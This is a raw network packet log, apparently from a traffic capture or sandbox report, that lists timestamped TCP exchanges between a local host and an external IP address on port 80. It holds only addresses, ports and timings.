Oct 4, 2024 09:52:33.120709896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120728016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120738029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120759964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120769978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120793104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120804071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120826960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120839119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120862007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120876074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120893955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120901108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120928049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120938063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120960951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120971918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120996952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121005058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121042013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121304989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121335983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121349096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121367931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121381044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121401072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121413946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121433020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121445894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121464968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121476889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121495962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121507883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121529102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121541023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121561050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121572971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121592045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121604919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121624947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121638060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121655941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121670008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121689081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121701956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121720076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121747017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121752977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121769905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121783972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121788979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121818066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121829987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121850014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121861935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121884108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.121893883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.121915102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122163057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122195959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122210979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122229099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122239113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122262955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122272968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122301102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122307062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122333050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122361898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122364998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122380018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122401953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122415066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122435093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122447014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122467041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122478962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122498989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122512102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122533083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122544050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122576952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122756004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122788906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122802019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122821093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122833014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122867107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122889996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122920990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122934103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122953892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122960091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.122987032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.122997046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123018980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123029947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123053074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123061895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123085022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123095989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123117924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123128891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123152018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123162031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123184919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123193979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123219967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123231888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123260975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123262882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123295069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.123306990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.123349905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207050085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207093954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207146883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207181931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207230091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207279921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207312107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207345009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207377911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207431078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207431078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207431078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207431078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207431078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207463026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207495928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207530975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207530975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207550049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207561970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207595110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207603931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207603931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207628965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207660913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207662106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207681894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207693100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207717896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207725048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207736969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207756042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207782984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207798958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207820892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207838058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207864046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207874060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207905054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207906008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207922935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207938910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207946062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.207967043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.207999945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208017111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208017111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208033085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208064079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208066940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208090067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208096027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208113909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208129883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208152056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208162069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208214045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208220959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208220959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208247900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208266020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208278894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208306074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208309889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208323002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208343029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208367109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208374977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208389997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208406925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208426952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208437920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208468914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208468914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208487034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208503008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208523989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208553076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208610058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208642960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208667994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208676100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208700895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208709002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208728075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208741903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208761930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208772898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208791018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208807945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208827972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208838940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208862066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208875895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208899975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208909035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208933115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208942890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.208967924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.208976030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209001064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209012032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209019899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209065914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209266901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209295034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209321976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209326029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209343910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209358931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209383965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209391117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209403992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209423065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209444046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209455013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209474087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209476948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209489107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209502935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209507942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209516048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209525108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209532022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209546089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209559917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209564924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209574938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209583044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209589958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209604979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209609032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209619045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209633112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.209642887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.209681034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210134029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210176945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210194111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210201979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210217953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210227013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210235119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210243940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210251093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210264921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210268021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210280895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210288048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210294962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210309982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210324049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210328102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210338116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210349083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210352898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210369110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210382938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210382938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210397959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210410118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210416079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210424900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210437059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210441113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210455894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210472107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210474014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.210506916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.210524082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211160898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211175919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211189032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211204052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211215973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211215973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211230040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211234093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211253881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211267948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211272955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211281061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211293936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211296082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211309910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211323023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211328030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211338043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211352110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211364031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211365938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211380005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211380959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211411953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211416960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211429119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211435080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211463928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211481094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211723089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211775064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211822987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211838961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211874008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211878061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211894035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211894989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211910963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211925030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211935043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.211939096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.211980104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.295829058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.295878887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.295913935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296015978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296032906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296049118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296066046 CEST	80	49745	141.98.233.156	192.168.2.4
